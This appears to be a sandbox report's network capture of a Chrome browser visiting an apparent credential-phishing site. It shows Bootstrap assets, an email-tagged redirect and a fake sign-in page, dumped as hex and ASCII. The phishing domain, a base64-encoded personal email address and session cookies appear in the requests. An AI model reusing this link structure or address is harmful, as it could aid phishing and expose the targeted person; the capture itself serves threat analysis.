2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 7d 3a 3a 2d 77 65 62 6b 69 74 2d 73 65 61 72 63 68 2d 64 65 63 6f 72 61 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 7d 3a 3a 2d 77 65 62 6b 69 74 2d 63 6f 6c 6f 72 2d 73 77 61 74 63 68 2d 77 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 3a 3a 2d 77 65 62 6b 69 74 2d 66 69 6c 65 2d 75 70 6c 6f 61 64 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 3a 3a 66 69 6c 65 2d 73 65 6c 65 63 74 6f 72 2d 62 75 74 74 6f 6e 7b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 3b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 6f 75 74 70 75 74 7b 64 69 73 70 6c 61 79 3a 69 6e 6c Data Ascii: e-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inl
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 72 69 67 68 74 3a 2e 35 72 65 6d 7d 2e 69 6e 69 74 69 61 6c 69 73 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f 6f 74 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 3b 63 6f 6c 6f 72 3a 23 36 63 37 35 37 64 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 66 6f Data Ascii: right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-fo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49756	151.101.1.229	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:06:21 UTC	618	OUT	GET /npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qxydsa4dws.cenislerge.shop sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://qxydsa4dws.cenislerge.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:06:22 UTC	775	IN	HTTP/1.1 200 OK Connection: close Content-Length: 80663 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.2 X-JSD-Version-Type: version ETag: W/"13b17-9/0PPchLLPk7+B6DJQWmc/NU4KM" Accept-Ranges: bytes Age: 306426 Date: Thu, 12 Dec 2024 11:06:22 GMT X-Served-By: cache-fra-etou8220085-FRA, cache-ewr-kewr1740076-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 33 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.2 (https://getbootstrap.com/) * Copyright 2011-2023 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 65 26 26 65 2e 70 61 72 65 6e 74 4e 6f 64 65 21 3d 3d 69 29 72 65 74 75 72 6e 21 31 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 65 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 20 65 7d 2c 6c 3d 74 3d 3e 21 74 7c 7c 74 2e 6e 6f 64 65 54 79 70 65 21 3d 3d 4e 6f 64 65 2e 45 4c 45 4d 45 4e 54 5f 4e 4f 44 45 7c 7c 21 21 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 28 76 6f 69 64 20 30 21 3d 3d 74 2e 64 69 73 61 62 6c 65 64 3f 74 2e 64 69 73 61 62 6c 65 64 3a 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 26 26 22 66 61 6c 73 65 22 21 3d 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 29 2c 63 3d 74 3d 3e 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 64 Data Ascii: e&&e.parentNode!==i)return!1;if(null===e)return!1}return e},l=t=>!t\|\|t.nodeType!==Node.ELEMENT_NODE\|\|!!t.classList.contains("disabled")\|\|(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),c=t=>{if(!document.d
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 54 69 6d 65 6f 75 74 28 28 28 29 3d 3e 7b 72 7c 7c 73 28 65 29 7d 29 2c 6f 29 7d 2c 62 3d 28 74 2c 65 2c 69 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 73 3d 74 2e 6c 65 6e 67 74 68 3b 6c 65 74 20 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 65 29 3b 72 65 74 75 72 6e 2d 31 3d 3d 3d 6f 3f 21 69 26 26 6e 3f 74 5b 73 2d 31 5d 3a 74 5b 30 5d 3a 28 6f 2b 3d 69 3f 31 3a 2d 31 2c 6e 26 26 28 6f 3d 28 6f 2b 73 29 25 73 29 2c 74 5b 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 6f 2c 73 2d 31 29 29 5d 29 7d 2c 76 3d 2f 5b 5e 2e 5d 2a 28 3f 3d 5c 2e 2e 2a 29 5c 2e 7c 2e 2a 2f 2c 79 3d 2f 5c 2e 2e 2a 2f 2c 77 3d 2f 3a 3a 5c 64 2b 24 2f 2c 41 3d 7b 7d 3b 6c 65 74 20 45 3d 31 3b 63 6f 6e 73 74 20 54 3d 7b 6d 6f 75 73 65 65 6e 74 65 72 3a 22 6d 6f 75 73 65 6f 76 65 72 22 Data Ascii: Timeout((()=>{r\|\|s(e)}),o)},b=(t,e,i,n)=>{const s=t.length;let o=t.indexOf(e);return-1===o?!i&&n?t[s-1]:t[0]:(o+=i?1:-1,n&&(o=(o+s)%s),t[Math.max(0,Math.min(o,s-1))])},v=/[^.](?=\..)\.\|./,y=/\../,w=/::\d+$/,A={};let E=1;const T={mouseenter:"mouseover"
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 74 68 69 73 2c 65 29 7d 3b 72 3d 74 28 72 29 7d 63 6f 6e 73 74 20 6c 3d 78 28 74 29 2c 63 3d 6c 5b 61 5d 7c 7c 28 6c 5b 61 5d 3d 7b 7d 29 2c 68 3d 6b 28 63 2c 72 2c 6f 3f 69 3a 6e 75 6c 6c 29 3b 69 66 28 68 29 72 65 74 75 72 6e 20 76 6f 69 64 28 68 2e 6f 6e 65 4f 66 66 3d 68 2e 6f 6e 65 4f 66 66 26 26 73 29 3b 63 6f 6e 73 74 20 64 3d 4f 28 72 2c 65 2e 72 65 70 6c 61 63 65 28 76 2c 22 22 29 29 2c 75 3d 6f 3f 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 6e 28 73 29 7b 63 6f 6e 73 74 20 6f 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3b 66 6f 72 28 6c 65 74 7b 74 61 72 67 65 74 3a 72 7d 3d 73 3b 72 26 26 72 21 3d 3d 74 68 69 73 3b 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 29 66 6f 72 28 Data Ascii: this,e)};r=t(r)}const l=x(t),c=l[a]\|\|(l[a]={}),h=k(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&s);const d=O(r,e.replace(v,"")),u=o?function(t,e,i){return function n(s){const o=t.querySelectorAll(e);for(let{target:r}=s;r&&r!==this;r=r.parentNode)for(
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 3d 21 31 3b 65 21 3d 3d 49 28 65 29 26 26 6e 26 26 28 73 3d 6e 2e 45 76 65 6e 74 28 65 2c 69 29 2c 6e 28 74 29 2e 74 72 69 67 67 65 72 28 73 29 2c 6f 3d 21 73 2e 69 73 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 28 29 2c 72 3d 21 73 2e 69 73 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 28 29 2c 61 3d 73 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 3b 63 6f 6e 73 74 20 6c 3d 50 28 6e 65 77 20 45 76 65 6e 74 28 65 2c 7b 62 75 62 62 6c 65 73 3a 6f 2c 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 2c 69 29 3b 72 65 74 75 72 6e 20 61 26 26 6c 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 72 26 26 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6c 29 2c 6c 2e 64 65 66 61 75 6c 74 50 72 65 Data Ascii: =!1;e!==I(e)&&n&&(s=n.Event(e,i),n(t).trigger(s),o=!s.isPropagationStopped(),r=!s.isImmediatePropagationStopped(),a=s.isDefaultPrevented());const l=P(new Event(e,{bubbles:o,cancelable:!0}),i);return a&&l.preventDefault(),r&&t.dispatchEvent(l),l.defaultPre
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 3d 74 68 69 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 7b 72 65 74 75 72 6e 20 74 7d 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 65 29 7b 63 6f 6e 73 74 20 69 3d 6f 28 65 29 3f 46 2e 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 28 65 2c 22 63 6f 6e 66 69 67 22 29 3a 7b 7d 3b 72 65 74 75 72 6e 7b 2e 2e 2e 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 44 65 66 61 75 6c 74 2c 2e 2e 2e 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 69 3f 69 3a 7b 7d 2c 2e 2e 2e 6f 28 65 29 3f 46 2e 67 65 74 44 61 Data Ascii: =this._mergeConfigObj(t),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}_configAfterMerge(t){return t}_mergeConfigObj(t,e){const i=o(e)?F.getDataAttribute(e,"config"):{};return{...this.constructor.Default,..."object"==typeof i?i:{},...o(e)?F.getDa
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 73 74 61 74 69 63 20 67 65 74 20 45 56 45 4e 54 5f 4b 45 59 28 29 7b 72 65 74 75 72 6e 60 2e 24 7b 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 7d 60 7d 73 74 61 74 69 63 20 65 76 65 6e 74 4e 61 6d 65 28 74 29 7b 72 65 74 75 72 6e 60 24 7b 74 7d 24 7b 74 68 69 73 2e 45 56 45 4e 54 5f 4b 45 59 7d 60 7d 7d 63 6f 6e 73 74 20 42 3d 74 3d 3e 7b 6c 65 74 20 65 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 73 2d 74 61 72 67 65 74 22 29 3b 69 66 28 21 65 7c 7c 22 23 22 3d 3d 3d 65 29 7b 6c 65 74 20 69 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 3b 69 66 28 21 69 7c 7c 21 69 2e 69 6e 63 6c 75 64 65 73 28 22 23 22 29 26 26 21 69 2e 73 74 61 72 74 73 57 69 74 68 28 22 2e 22 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 2e 69 Data Ascii: static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(t){return`${t}${this.EVENT_KEY}`}}const B=t=>{let e=t.getAttribute("data-bs-target");if(!e\|\|"#"===e){let i=t.getAttribute("href");if(!i\|\|!i.includes("#")&&!i.startsWith("."))return null;i.i
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 20 69 3d 60 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 24 7b 74 2e 45 56 45 4e 54 5f 4b 45 59 7d 60 2c 6e 3d 74 2e 4e 41 4d 45 3b 4e 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 69 2c 60 5b 64 61 74 61 2d 62 73 2d 64 69 73 6d 69 73 73 3d 22 24 7b 6e 7d 22 5d 60 2c 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 69 66 28 5b 22 41 22 2c 22 41 52 45 41 22 5d 2e 69 6e 63 6c 75 64 65 73 28 74 68 69 73 2e 74 61 67 4e 61 6d 65 29 26 26 69 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 6c 28 74 68 69 73 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 73 3d 7a 2e 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 68 69 73 29 7c 7c 74 68 69 73 2e 63 6c 6f 73 65 73 74 28 60 2e 24 7b 6e 7d 60 29 3b 74 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 Data Ascii: i=`click.dismiss${t.EVENT_KEY}`,n=t.NAME;N.on(document,i,`[data-bs-dismiss="${n}"]`,(function(i){if(["A","AREA"].includes(this.tagName)&&i.preventDefault(),l(this))return;const s=z.getElementFromSelector(this)\|\|this.closest(`.${n}`);t.getOrCreateInstance
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 7d 60 2c 4a 3d 60 74 6f 75 63 68 6d 6f 76 65 24 7b 55 7d 60 2c 5a 3d 60 74 6f 75 63 68 65 6e 64 24 7b 55 7d 60 2c 74 74 3d 60 70 6f 69 6e 74 65 72 64 6f 77 6e 24 7b 55 7d 60 2c 65 74 3d 60 70 6f 69 6e 74 65 72 75 70 24 7b 55 7d 60 2c 69 74 3d 7b 65 6e 64 43 61 6c 6c 62 61 63 6b 3a 6e 75 6c 6c 2c 6c 65 66 74 43 61 6c 6c 62 61 63 6b 3a 6e 75 6c 6c 2c 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 6e 75 6c 6c 7d 2c 6e 74 3d 7b 65 6e 64 43 61 6c 6c 62 61 63 6b 3a 22 28 66 75 6e 63 74 69 6f 6e 7c 6e 75 6c 6c 29 22 2c 6c 65 66 74 43 61 6c 6c 62 61 63 6b 3a 22 28 66 75 6e 63 74 69 6f 6e 7c 6e 75 6c 6c 29 22 2c 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 22 28 66 75 6e 63 74 69 6f 6e 7c 6e 75 6c 6c 29 22 7d 3b 63 6c 61 73 73 20 73 74 20 65 78 74 65 6e 64 73 20 48 7b 63 Data Ascii: }`,J=`touchmove${U}`,Z=`touchend${U}`,tt=`pointerdown${U}`,et=`pointerup${U}`,it={endCallback:null,leftCallback:null,rightCallback:null},nt={endCallback:"(function\|null)",leftCallback:"(function\|null)",rightCallback:"(function\|null)"};class st extends H{c
2024-12-12 11:06:22 UTC	1378	IN	Data Raw: 65 6e 74 49 73 50 6f 69 6e 74 65 72 50 65 6e 54 6f 75 63 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 26 26 28 22 70 65 6e 22 3d 3d 3d 74 2e 70 6f 69 6e 74 65 72 54 79 70 65 7c 7c 22 74 6f 75 63 68 22 3d 3d 3d 74 2e 70 6f 69 6e 74 65 72 54 79 70 65 29 7d 73 74 61 74 69 63 20 69 73 53 75 70 70 6f 72 74 65 64 28 29 7b 72 65 74 75 72 6e 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 6d 61 78 54 6f 75 63 68 50 6f 69 6e 74 73 3e 30 7d 7d 63 6f 6e 73 74 20 6f 74 3d 22 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 72 74 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 61 74 3d 22 6e 65 78 74 22 2c Data Ascii: entIsPointerPenTouch(t){return this._supportPointerEvents&&("pen"===t.pointerType\|\|"touch"===t.pointerType)}static isSupported(){return"ontouchstart"in document.documentElement\|\|navigator.maxTouchPoints>0}}const ot=".bs.carousel",rt=".data-api",at="next",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49999	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:47 UTC	889	OUT	GET /?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1
2024-12-12 11:08:48 UTC	517	IN	HTTP/1.1 302 Found Date: Thu, 12 Dec 2024 11:08:47 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: rt=a4eba51ada9a7f9b916dddb455a39f52.htm; expires=Thu, 12-Dec-2024 11:13:48 GMT; Max-Age=300; path=/; HttpOnly Location: m/a4eba51ada9a7f9b916dddb455a39f52.htm Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49998	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:48 UTC	929	OUT	GET /m/a4eba51ada9a7f9b916dddb455a39f52.htm HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:48 UTC	357	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:48 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-12 11:08:48 UTC	7835	IN	Data Raw: 33 34 32 38 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 42 4a 59 48 57 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 37 41 5a 5a 41 52 5a 47 4b 52 4a 45 58 32 56 4f 59 30 4c 4b 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: 3428<html dir="ltr" class="BJYHW" lang="en"> <head> <title>7AZZARZGKRJEX2VOY0LK</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" />
2024-12-12 11:08:48 UTC	5523	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 69 67 68 74 62 6f 78 22 20 63 6c 61 73 73 3d 22 73 69 67 6e 2d 69 6e 2d 62 6f 78 20 65 78 74 2d 73 69 67 6e 2d 69 6e 2d 62 6f 78 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 68 61 73 2d 70 6f 70 75 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 67 72 65 73 73 22 20 72 6f 6c 65 3d 22 70 72 6f 67 72 65 73 73 62 61 72 22 20 69 64 3d 22 6c 6f 61 64 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox has-popup"> <div class="progress" role="progressbar" id="load" style="display: none;">
2024-12-12 11:08:48 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50007	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:50 UTC	724	OUT	GET /m/cxx/Y17WOGJT9PXC49QKRPCDK23RH HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:50 UTC	261	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:50 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/css; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:50 UTC	6349	IN	Data Raw: 31 38 63 35 0d 0a 2a 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 7d 0d 0a 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 7d 0d 0a 2e 66 6f 72 6d 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 3b 7d 0d 0a 2e 63 5f 6c 6f 61 64 69 6e 67 44 6f 74 73 7b 6c 69 6e 65 2d 68 65 